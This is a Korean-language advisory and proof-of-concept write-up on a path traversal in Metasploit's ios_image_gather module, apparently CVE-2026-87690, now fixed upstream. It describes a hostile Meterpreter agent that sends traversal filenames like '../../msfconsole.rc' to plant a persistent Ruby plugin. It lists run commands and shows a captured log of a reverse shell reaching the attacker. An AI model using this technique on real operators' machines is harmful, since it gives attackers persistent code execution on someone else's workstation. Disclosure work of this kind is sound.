CVE-2026-87690에 대한 개념 증명용 적대적 Meterpreter 에이전트 및 분석 문서로, Metasploit의 ios_image_gather 모듈에서 발생하는 경로 순회 취약점이 운영자 수준의 RCE로 이어지는 문제를 다룹니다.
Metasploit Framework의 post/apple_ios/gather/ios_image_gather 사후 익스플로잇 모듈에 존재하는 경로 순회(CWE-22) 취약점: 악의적이거나 변조된 "iOS 기기"(에이전트가 자체 프로토콜 응답을 제어하는 모든 Meterpreter 세션)가 펜테스터의 워크스테이션에서 임의 파일 쓰기를 달성하며, 이는 다음 msfconsole 실행 시 운영자 권한으로 지속적인 코드 실행으로 이어진다.
| CVE | CVE-2026-87690 |
| 약점 | CWE-22 (상대 경로 순회) |
| 영향받는 제품 | Metasploit Framework, 모듈 post/apple_ios/gather/ios_image_gather |
| 영향 | 운영자 권한으로 임의 파일 쓰기 -> 펜테스터의 워크스테이션에서 지속적인 코드 실행 및 운영자(흔히 root) 권한의 대화형 셸 |
| 수정 | rapid7/metasploit-framework#21880 (2026-09-14에 master에 병합됨; 해당 날짜 이후 빌드된 모든 프레임워크 릴리스에는 수정 사항이 포함됨) |
Metasploit의 post/apple_ios/gather/ios_image_gather 모듈은 Meterpreter 디렉터리 목록 - 악의적이거나 변조된 "iOS 기기"가 완전히 제어하는 데이터 - 에서 가져온 파일 이름을 정제 없이 client.fs.file.download_file()에 전달되는 로컬 대상 경로에 직접 삽입하며, 기반이 되는 stdapi 싱크(lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb, FileUtils.mkdir_p + File.new(dest,'wb'))는 해당 경로가 가리키는 곳 어디에나 쓴다.
따라서 ../../msfconsole.rc와 같은 목록 항목은 의도된 ~/.msf4/loot/<random> 디렉터리를 벗어나 ~/.msf4/msfconsole.rc를 덮어쓰는데, 이 리소스 파일은 모든 msfconsole 호출 시 시작 시 자동으로 실행된다(lib/msf/ui/console/driver.rb:196).
운영자가 이 gather 모듈을 실행하도록 유도하는 공격자 제어 기기는 운영자 권한으로 임의 파일 쓰기를 달성하며, 작성된 msfconsole.rc가 두 번째로 작성된 파일(require 시 최상위 코드가 실행되는 Ruby 플러그인)을 로드하기 때문에 다음 콘솔 실행 시 펜테스터의 워크스테이션에서 지속적인 코드 실행과 운영자(흔히 root) 권한의 대화형 셸을 얻게 된다.
동일한 순회 문제는 이미 재귀 다운로더에서 업스트림으로 수정되었으며(stdapi/fs/dir.rb:291-296이 구분자를 제거함), 이는 이 모듈의 누락이 실수였음을 확인해 준다. 수정 방법은 로컬 경로를 구성하기 전에 목록 항목에 동일한 정제(또는 File.basename)를 적용하는 것이다.
수정되지 않은 프레임워크 체크아웃에 대해 엔드투엔드로 검증됨: 조작된 목록을 제공하는 악의적 Meterpreter 에이전트가 수정되지 않은 모듈로 하여금 플러그인과 rc를 작성하게 했고, 이어서 msfconsole -q가 운영자 권한으로 명령을 실행하는 리버스 셸을 연결했다.
rapid7/metasploit-framework#21880에서 업스트림으로 수정됨: 모듈은 목록 항목으로 구성된 로컬 경로로 download_file을 사용하는 대신 read_file + store_loot를 사용하도록 재작성되었고, ./.. 디렉터리 항목을 건너뛰도록 변경되었다. 또한 읽기 전에 MAX_FILE_SIZE 상한(10 MB)을 추가한다. 이 PR에는 rn-fix 릴리스 노트 레이블이 붙어 있으며, 이를 포함하는 첫 주간 릴리스는 프레임워크 릴리스 노트에서 확인할 수 있다.
| 파일 | 목적 |
|---|---|
ios_hostile_agent.py | 익스플로잇: 조작된 디렉터리 목록과 파일 내용을 제공한 뒤 결과 셸을 받아내는, 의존성 없는 최소한의 악의적 Meterpreter 에이전트("iOS 기기"). |
ios_poc_run.rc | 수정되지 않은 프레임워크를 취약한 모듈을 통해 구동하는 msfconsole 리소스 스크립트. |
ios_hostile_agent.py가 바로 악성 기기다: 세션으로 위장하기에 충분할 만큼의 Meterpreter TLV 프로토콜(XOR 처리된 32바이트 헤더, 스테이지 페이로드 스테이지 건너뛰기)만을 순수 Python으로 구현한 것이다. 모듈이 사진 디렉터리를 나열하면 에이전트는 세 개의 항목을 반환한다:
IMG_0001.jpg - 무해한 표지 이미지(24바이트).../../poc_shell_plugin.rb - 최상위 코드가 에이전트로의 리버스 셸 스레드를 생성하는 Ruby 플러그인.../../msfconsole.rc - 한 줄: load ~/.msf4/poc_shell_plugin.rb.실제로 수정되지 않은 모듈은 각 "이미지"를
~/.msf4/loot/<random6>/에 다운로드합니다. ../ 항목이 이를 벗어나므로, 플러그인은
~/.msf4/poc_shell_plugin.rb에, rc는 ~/.msf4/msfconsole.rc에 배치됩니다. 후자는
매 msfconsole 시작 시 자동 실행되므로, 운영자가 다음에 여는 콘솔(모든 터미널의 모든 콘솔)이
플러그인을 로드하고, 그 최상위 Ruby가 실행되며,
셸이 에이전트의 캐처(기본 포트 4466)로 역연결됩니다.
참고:
enumextcmd는 의도적으로 빈 값으로 응답됩니다 - 비어 있지 않은 확장 목록은
msf의 skip_loading 가드를 작동시켜 stdapi가 절대 로드되지 않습니다.LHOST 127.0.0.1).요구 사항: metasploit-framework 체크아웃(수정 전, 즉 2026-09-14 이전에 빌드된 것), Python 3(표준 라이브러리만), 터미널 두 개.
터미널 1(공격자 - 적대적 "iOS 장치"):
$ python3 ios_hostile_agent.py
터미널 2 (피해자 - metasploit 운영자, 프레임워크 디렉터리에서):
$ ./msfconsole -q -r /path/to/ios_poc_run.rc
rc는 핸들러를 시작하고, 에이전트를 기다린 뒤, gather 모듈을 실행하고 종료합니다.
에이전트가 PAYLOAD DEPLOYED를 보고하면, 운영자가 새로 시작하는 모든 msfconsole이
페이로드를 발동시키고 셸이 에이전트의 캐처에 도착합니다:
$ ./msfconsole -q
실행 후 운영자 머신에 활성 지속성 스텁이 남습니다
(~/.msf4/msfconsole.rc + ~/.msf4/poc_shell_plugin.rb). 테스트가 끝나면 제거하십시오:
$ python3 ios_hostile_agent.py --cleanup
2026-08-27에 루프백에서 수정되지 않은 프레임워크 체크아웃을 대상으로 캡처했습니다.
터미널 1 (공격자):
$ python3 ios_hostile_agent.py
[agent] shell catcher listening on 0.0.0.0:4466 (fires when the operator starts any new msfconsole)
[agent] handler not ready (attempt 1: [Errno 111] Connection refused); retrying every 2s
[agent] handler not ready (attempt 10: [Errno 111] Connection refused); retrying every 2s
[agent] connected to handler 127.0.0.1:4455 (attempt 17)
[agent] skipping stager stage (255673 bytes)
[agent] -> cmd 16: result 0
[agent] -> cmd 21: result 0
[agent] -> cmd 10: result 0
[agent] -> cmd 10: result 0
[agent] -> cmd 10: result 0
[agent] -> cmd 12: result 0
[agent] -> cmd 10: result 0
[agent] -> cmd 12: result 0
[agent] -> cmd 1008: result 0
[agent] -> stat DIR /private/var/mobile/Media/DCIM/100APPLE
[agent] -> hostile listing: ['IMG_0001.jpg', '../../poc_shell_plugin.rb', '../../msfconsole.rc']
[agent] -> channel_open stdapi_fs_file /private/var/mobile/Media/DCIM/100APPLE/IMG_0001.jpg (24 bytes)
[agent] -> stat FILE /private/var/mobile/Media/DCIM/100APPLE/IMG_0001.jpg (24 bytes)
[agent] -> channel_read 1: 24 bytes
[agent] -> channel_read 1: 0 bytes (EOF: no data TLV)
[agent] -> cmd 2: result 0
[agent] -> channel_open stdapi_fs_file /private/var/mobile/Media/DCIM/100APPLE/../../poc_shell_plugin.rb (717 bytes)
[agent] -> stat FILE /private/var/mobile/Media/DCIM/100APPLE/../../poc_shell_plugin.rb (717 bytes)
[agent] -> channel_read 2: 717 bytes
[agent] -> channel_read 2: 0 bytes (EOF: no data TLV)
[agent] -> cmd 2: result 0
[agent] -> channel_open stdapi_fs_file /private/var/mobile/Media/DCIM/100APPLE/../../msfconsole.rc (33 bytes)
[agent] -> stat FILE /private/var/mobile/Media/DCIM/100APPLE/../../msfconsole.rc (33 bytes)
[agent] -> channel_read 3: 33 bytes
[agent] -> channel_read 3: 0 bytes (EOF: no data TLV)
[agent] -> cmd 2: result 0
[agent] session ended (connection closed)
[agent] PAYLOAD DEPLOYED: /home/h00die/.msf4/msfconsole.rc + /home/h00die/.msf4/poc_shell_plugin.rb
[agent] waiting for the operator to start any new msfconsole ...
[agent] 06:22:16 SHELL CONNECTED from ('127.0.0.1', 59254)
[agent] banner: b'shell from operator msfconsole\n'
[agent] > id
[agent] uid=1000(h00die) gid=1000(h00die) groups=1000(h00die),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),103(scanner),116(bluetooth),121(lpadmin),124(wireshark),133(kaboxer),134(docker)
[agent] > uname -a
[agent] Linux kali 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 7.0.12-2kali1 (2026-06-18) x86_64 GNU/Linux
[agent] > ls ~/.msf4 | head -5
[agent] bootsnap_cache
[agent] data
[agent] database.yml
[agent] histories
[agent] history
[agent] entering interactive relay (type commands; exit/quit or Ctrl-D leaves the shell, Ctrl-C exits the agent)
터미널 2 (피해자, metasploit 사용자) - 먼저 PoC를 실행한 다음, 배포된 rc를 실행하는 새 msfconsole -q:
$ ./msfconsole -q -r ios_poc_run.rc